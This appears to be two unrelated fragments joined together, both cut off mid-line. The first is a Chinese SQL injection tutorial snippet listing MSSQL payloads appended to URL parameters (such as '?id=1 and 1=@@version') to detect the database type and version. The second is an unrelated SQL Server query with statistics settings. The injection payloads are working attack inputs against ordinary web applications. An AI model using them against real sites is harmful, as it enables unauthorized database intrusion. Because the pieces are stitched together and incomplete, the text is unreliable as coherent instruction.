0x01判断数据 ①判断数据库类型 and exists (select * from sysobjects)--返回正常为mssql(也名sql server) and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈 ②判断数据库版本 返回正确mssql数据库 0X02判断数据库版本 ?id=1 and 1=@@version— ?id=1 and substring((select @@version),22,…
SET STATISTICS io ONSET STATISTICS time ONgo--========此处为sql代码段=============== select zxbh from t_yr03_zxxx where k_gh='0DF41D83-E0CE-4928-B838-76ACC84F1A4C' and sfct=1and exists (select k_zx from t_yr05_ctzx ctzx where ctzx.k_zx=t_yr03_zxxx.k_zxand…